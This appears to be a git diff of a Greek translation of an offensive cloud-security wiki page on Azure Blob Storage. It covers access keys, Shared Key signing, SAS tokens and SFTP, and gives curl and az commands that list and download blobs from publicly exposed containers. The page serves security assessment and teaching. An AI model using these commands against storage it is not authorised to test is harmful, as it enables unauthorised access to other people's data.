- Αν το `publicAccess` είναι `Container`, η ανώνυμη λίστα λειτουργεί: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- Αν `publicAccess` είναι `Container`, η ανώνυμη λίστα λειτουργεί: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- Για τόσο το `Blob` όσο και το `Container`, η ανώνυμη λήψη blob λειτουργεί όταν το όνομα είναι γνωστό:
|
||||
```bash
|
||||
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
|
||||
# or via raw HTTP
|
||||
curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
|
||||
```
|
||||
### Σύνδεση στο Storage
|
||||
### Σύνδεση με Storage
|
||||
|
||||
Αν βρείτε κάποιο **storage** στο οποίο μπορείτε να συνδεθείτε, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) για να το κάνετε.
|
||||
Αν βρείτε κάποιο **storage** στο οποίο μπορείτε να συνδεθείτε, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) για αυτό.
|
||||
|
||||
## Πρόσβαση σε Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
## Πρόσβαση στο Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
Είναι δυνατή η χρήση Entra ID principals με **RBAC roles** για πρόσβαση σε storage accounts και αυτός είναι ο συνιστώμενος τρόπος.
|
||||
Είναι δυνατό να χρησιμοποιηθούν principals του Entra ID με **RBAC roles** για πρόσβαση σε storage accounts και είναι ο συνιστώμενος τρόπος.
|
||||
|
||||
### Κλειδιά Πρόσβασης
|
||||
### Access Keys
|
||||
|
||||
Οι storage accounts έχουν access keys που μπορούν να χρησιμοποιηθούν για πρόσβαση σε αυτά. Αυτό παρέχει **πλήρη πρόσβαση στον λογαριασμό storage.**
|
||||
Τα storage accounts έχουν access keys που μπορούν να χρησιμοποιηθούν για πρόσβαση. Αυτό παρέχει **πλήρη πρόσβαση στο storage account.**
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
|
||||
Μπορείτε να [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) υπογεγραμμένα με τα access keys για να εξουσιοδοτήσετε πρόσβαση σε ορισμένους πόρους μέσω ενός signed URL.
|
||||
Είναι δυνατό να [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) υπογεγραμμένα με τα access keys για να εξουσιοδοτείται η πρόσβαση σε συγκεκριμένους πόρους μέσω ενός signed URL.
|
||||
|
||||
> [!NOTE]
|
||||
> Λάβετε υπόψη ότι το μέρος `CanonicalizedResource` αναπαριστά τον πόρο των υπηρεσιών storage (URI). Και αν οποιοδήποτε μέρος στο URL είναι κωδικοποιημένο, πρέπει επίσης να κωδικοποιηθεί μέσα στο `CanonicalizedResource`.
|
||||
> Σημειώστε ότι το τμήμα `CanonicalizedResource` αντιπροσωπεύει τον πόρο των storage services (URI). Και αν οποιοδήποτε τμήμα στο URL είναι encoded, θα πρέπει επίσης να είναι encoded μέσα στο `CanonicalizedResource`.
|
||||
|
||||
> [!NOTE]
|
||||
> Αυτό **χρησιμοποιείται από προεπιλογή από το `az` cli** για την αυθεντικοποίηση των αιτημάτων. Για να το κάνετε να χρησιμοποιήσει τα διαπιστευτήρια του Entra ID principal, υποδείξτε την παράμετρο `--auth-mode login`.
|
||||
> Αυτό **χρησιμοποιείται από προεπιλογή από το `az` cli** για την πιστοποίηση των requests. Για να το κάνετε να χρησιμοποιήσει τα credentials του Entra ID principal, υποδείξτε την παράμετρο `--auth-mode login`.
|
||||
|
||||
- Είναι δυνατό να δημιουργηθεί ένα **shared key for blob, queue and file services** υπογράφοντας τις ακόλουθες πληροφορίες:
|
||||
- Είναι δυνατό να παραχθεί ένα **shared key για blob, queue και file services** υπογράφοντας τις παρακάτω πληροφορίες:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
@@ -143,7 +143,7 @@ Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Είναι δυνατό να δημιουργηθεί ένα **shared key for table services** υπογράφοντας τις ακόλουθες πληροφορίες:
|
||||
- Είναι δυνατό να δημιουργηθεί ένα **κοινό κλειδί για υπηρεσίες πίνακα** υπογράφοντας τις παρακάτω πληροφορίες:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -151,7 +151,7 @@ Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Είναι δυνατόν να δημιουργηθεί ένα **lite shared key for blob, queue and file services** υπογράφοντας τις ακόλουθες πληροφορίες:
|
||||
- Είναι δυνατό να δημιουργηθεί ένα **lite shared key for blob, queue and file services** υπογράφοντας τις ακόλουθες πληροφορίες:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -160,12 +160,12 @@ Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Είναι δυνατό να δημιουργηθεί ένα **lite shared key for table services** υπογράφοντας τις ακόλουθες πληροφορίες:
|
||||
- Είναι δυνατόν να δημιουργηθεί ένα **lite shared key for table services** υπογράφοντας τις ακόλουθες πληροφορίες:
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
```
|
||||
Στη συνέχεια, για να χρησιμοποιηθεί το κλειδί, μπορεί να τεθεί στην κεφαλίδα Authorization ακολουθώντας την εξής σύνταξη:
|
||||
Στη συνέχεια, για να χρησιμοποιήσετε το κλειδί, αυτό μπορεί να γίνει στην κεφαλίδα Authorization ακολουθώντας την εξής σύνταξη:
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
@@ -177,16 +177,16 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
```
|
||||
### **Shared Access Signature** (SAS)
|
||||
### **Κοινή Υπογραφή Πρόσβασης** (SAS)
|
||||
|
||||
Οι Shared Access Signatures (SAS) είναι ασφαλείς, χρονικά περιορισμένοι σύνδεσμοι URL που **παραχωρούν συγκεκριμένα δικαιώματα πρόσβασης σε πόρους** σε έναν Azure Storage account χωρίς να αποκαλύπτουν τα κλειδιά πρόσβασης του λογαριασμού. Ενώ τα access keys παρέχουν πλήρη διαχειριστική πρόσβαση σε όλους τους πόρους, τα SAS επιτρέπουν λεπτομερή έλεγχο καθορίζοντας δικαιώματα (όπως read ή write) και ορίζοντας χρόνο λήξης.
|
||||
Shared Access Signatures (SAS) είναι ασφαλείς, χρονικά περιορισμένα URLs που **παρέχουν συγκεκριμένα δικαιώματα πρόσβασης σε πόρους** σε έναν Azure Storage λογαριασμό χωρίς να αποκαλύπτουν τα κλειδιά πρόσβασης του λογαριασμού. Ενώ τα κλειδιά πρόσβασης παρέχουν πλήρη διοικητική πρόσβαση σε όλους τους πόρους, το SAS επιτρέπει λεπτομερή έλεγχο καθορίζοντας δικαιώματα (όπως ανάγνωση ή εγγραφή) και ορίζοντας χρόνο λήξης.
|
||||
|
||||
#### SAS Types
|
||||
|
||||
- **User delegation SAS**: Δημιουργείται από ένα **Entra ID principal** που θα υπογράψει το SAS και θα εξουσιοδοτήσει τα δικαιώματα από τον χρήστη στο SAS. Μπορεί να χρησιμοποιηθεί μόνο με **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Είναι δυνατόν να **ανακληθούν** όλα τα παραχθέντα user delegated SAS.
|
||||
- Είναι πιθανό να δημιουργηθεί ένα delegation SAS με "περισσότερα" δικαιώματα από αυτά που έχει ο χρήστης. Ωστόσο, αν το principal δεν διαθέτει αυτά τα δικαιώματα, δεν θα λειτουργήσει (no privesc).
|
||||
- **Service SAS**: Υπογράφεται χρησιμοποιώντας ένα από τα access keys του storage account. Μπορεί να χρησιμοποιηθεί για να παραχωρήσει πρόσβαση σε συγκεκριμένους πόρους σε μία μόνο storage service. Αν το κλειδί ανανεωθεί, το SAS θα σταματήσει να λειτουργεί.
|
||||
- **Account SAS**: Υπογράφεται επίσης με ένα από τα access keys του storage account. Παραχωρεί πρόσβαση σε πόρους σε υπηρεσίες του storage account (Blob, Queue, Table, File) και μπορεί να περιλαμβάνει λειτουργίες σε επίπεδο υπηρεσίας.
|
||||
- **User delegation SAS**: Δημιουργείται από έναν **Entra ID principal** ο οποίος θα υπογράψει το SAS και θα εκχωρήσει τα δικαιώματα από τον χρήστη στο SAS. Μπορεί να χρησιμοποιηθεί μόνο με **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Είναι δυνατό να **ανακληθούν** όλα τα δημιουργημένα user delegated SAS.
|
||||
- Είναι δυνατό να δημιουργηθεί ένα delegation SAS με "περισσότερα" δικαιώματα από αυτά που έχει ο χρήστης. Ωστόσο, αν ο principal δεν διαθέτει αυτά τα δικαιώματα, δεν θα λειτουργήσει (no privesc).
|
||||
- **Service SAS**: Υπογράφεται χρησιμοποιώντας ένα από τα **κλειδιά πρόσβασης** του storage account. Μπορεί να χρησιμοποιηθεί για να δώσει πρόσβαση σε συγκεκριμένους πόρους σε μία μόνο υπηρεσία αποθήκευσης. Εάν το κλειδί ανανεωθεί, το SAS θα σταματήσει να λειτουργεί.
|
||||
- **Account SAS**: Επίσης υπογράφεται με ένα από τα **κλειδιά πρόσβασης** του storage account. Παρέχει πρόσβαση σε πόρους σε υπηρεσίες ενός storage account (Blob, Queue, Table, File) και μπορεί να περιλαμβάνει λειτουργίες σε επίπεδο υπηρεσίας.
|
||||
|
||||
A SAS URL signed by an **access key** looks like this:
|
||||
|
||||
@@ -196,7 +196,7 @@ A SAS URL signed as a **user delegation** looks like this:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Note some **http params**:
|
||||
Σημειώστε μερικά **http params**:
|
||||
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
@@ -204,43 +204,43 @@ Note some **http params**:
|
||||
|
||||
#### SAS permissions
|
||||
|
||||
Κατά τη δημιουργία ενός SAS χρειάζεται να δηλωθούν τα δικαιώματα που θα παραχωρεί. Ανάλογα με το αντικείμενο πάνω στο οποίο δημιουργείται το SAS, μπορεί να συμπεριληφθούν διαφορετικά δικαιώματα. Για παράδειγμα:
|
||||
Κατά τη δημιουργία ενός SAS πρέπει να δηλωθούν τα δικαιώματα που θα παραχωρεί. Ανάλογα με το αντικείμενο πάνω στο οποίο δημιουργείται το SAS, μπορεί να περιλαμβάνονται διαφορετικά δικαιώματα. Για παράδειγμα:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
## Υποστήριξη SFTP για Azure Blob Storage
|
||||
|
||||
Το Azure Blob Storage υποστηρίζει πλέον το SSH File Transfer Protocol (SFTP), επιτρέποντας ασφαλή μεταφορά και διαχείριση αρχείων απευθείας στο Blob Storage χωρίς την ανάγκη προσαρμοσμένων λύσεων ή προϊόντων τρίτων.
|
||||
Το Azure Blob Storage πλέον υποστηρίζει το SSH File Transfer Protocol (SFTP), επιτρέποντας ασφαλή μεταφορά και διαχείριση αρχείων απευθείας στο Blob Storage χωρίς να απαιτούνται προσαρμοσμένες λύσεις ή προϊόντα τρίτων.
|
||||
|
||||
### Key Features
|
||||
### Βασικά Χαρακτηριστικά
|
||||
|
||||
- Protocol Support: Το SFTP λειτουργεί με λογαριασμούς Blob Storage που έχουν ρυθμιστεί με hierarchical namespace (HNS). Αυτό οργανώνει τα blobs σε φακέλους και υποφακέλους για ευκολότερη πλοήγηση.
|
||||
- Security: Το SFTP χρησιμοποιεί τοπικές ταυτότητες χρηστών για authentication και δεν ενσωματώνεται με RBAC ή ABAC. Κάθε τοπικός χρήστης μπορεί να κάνει authentication μέσω:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Protocol Support: Το SFTP λειτουργεί με λογαριασμούς Blob Storage που έχουν ενεργοποιημένο hierarchical namespace (HNS). Αυτό οργανώνει τα blobs σε φακέλους και υποφακέλους για ευκολότερη πλοήγηση.
|
||||
- Security: Το SFTP χρησιμοποιεί τοπικές ταυτότητες χρηστών για αυθεντικοποίηση και δεν ενσωματώνεται με RBAC ή ABAC. Κάθε τοπικός χρήστης μπορεί να αυθεντικοποιηθεί μέσω:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Δικαιώματα όπως Read, Write, Delete και List μπορούν να ανατεθούν σε τοπικούς χρήστες για έως και 100 containers.
|
||||
- Networking Considerations: Οι SFTP συνδέσεις γίνονται μέσω της θύρας 22. Το Azure υποστηρίζει ρυθμίσεις δικτύου όπως firewalls, private endpoints ή virtual networks για την προστασία της SFTP κίνησης.
|
||||
- Networking Considerations: Οι SFTP συνδέσεις πραγματοποιούνται μέσω της θύρας 22. Το Azure υποστηρίζει ρυθμίσεις δικτύου όπως firewalls, private endpoints ή virtual networks για την ασφάλεια της SFTP κίνησης.
|
||||
|
||||
### Setup Requirements
|
||||
### Απαιτήσεις Ρύθμισης
|
||||
|
||||
- Hierarchical Namespace: Το HNS πρέπει να είναι ενεργοποιημένο κατά τη δημιουργία του storage account.
|
||||
- Supported Encryption: Απαιτεί κρυπτογραφικούς αλγορίθμους εγκεκριμένους από το Microsoft Security Development Lifecycle (SDL) (π.χ., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- Supported Encryption: Απαιτεί κρυπτογραφικούς αλγόριθμους εγκεκριμένους από το Microsoft Security Development Lifecycle (SDL) (π.χ., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Ενεργοποιήστε το SFTP στον storage account.
|
||||
- Δημιουργήστε τοπικές ταυτότητες χρηστών με κατάλληλα δικαιώματα.
|
||||
- Διαμορφώστε home directories για τους χρήστες ώστε να ορίσετε την αρχική τους θέση μέσα στο container.
|
||||
- Ενεργοποίηση SFTP στο storage account.
|
||||
- Δημιουργία τοπικών ταυτοτήτων χρηστών με κατάλληλα δικαιώματα.
|
||||
- Διαμόρφωση home directories για τους χρήστες ώστε να οριστεί η αρχική τους θέση εντός του container.
|
||||
|
||||
### Permissions
|
||||
### Δικαιώματα
|
||||
|
||||
| Δικαίωμα | Σύμβολο | Περιγραφή |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Ανάγνωση περιεχομένου αρχείου. |
|
||||
| **Write** | `w` | Ανέβασμα αρχείων και δημιουργία φακέλων. |
|
||||
| **List** | `l` | Απαρίθμηση περιεχομένου φακέλων. |
|
||||
| **Delete** | `d` | Διαγραφή αρχείων ή φακέλων. |
|
||||
| **Create** | `c` | Δημιουργία αρχείων ή φακέλων. |
|
||||
| **Modify Ownership** | `o` | Αλλαγή του ιδιοκτήτη χρήστη ή ομάδας. |
|
||||
| **Modify Permissions** | `p` | Αλλαγή ACLs σε αρχεία ή φακέλους. |
|
||||
| Δικαίωμα | Σύμβολο | Περιγραφή |
|
||||
| ---------------------- | ------- | ------------------------------------- |
|
||||
| **Ανάγνωση** | `r` | Ανάγνωση περιεχομένου αρχείου. |
|
||||
| **Εγγραφή** | `w` | Μεταφόρτωση αρχείων και δημιουργία καταλόγων. |
|
||||
| **Λίστα** | `l` | Λίστα περιεχομένων καταλόγων. |
|
||||
| **Διαγραφή** | `d` | Διαγραφή αρχείων ή καταλόγων. |
|
||||
| **Δημιουργία** | `c` | Δημιουργία αρχείων ή καταλόγων. |
|
||||
| **Αλλαγή ιδιοκτησίας** | `o` | Αλλαγή του χρήστη ή της ομάδας ιδιοκτησίας. |
|
||||
| **Αλλαγή δικαιωμάτων** | `p` | Αλλαγή ACLs σε αρχεία ή καταλόγους. |
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -435,25 +435,25 @@ New-AzStorageBlobSASToken `
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Κοινόχρηστοι Φάκελοι
|
||||
### Κοινόχρηστα Αρχεία
|
||||
|
||||
{{#ref}}
|
||||
az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
## Κλιμάκωση Δικαιωμάτων
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Μετά-Εκμετάλλευση
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Διατήρηση Πρόσβασης
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
|
||||
Reference in New Issue
Block a user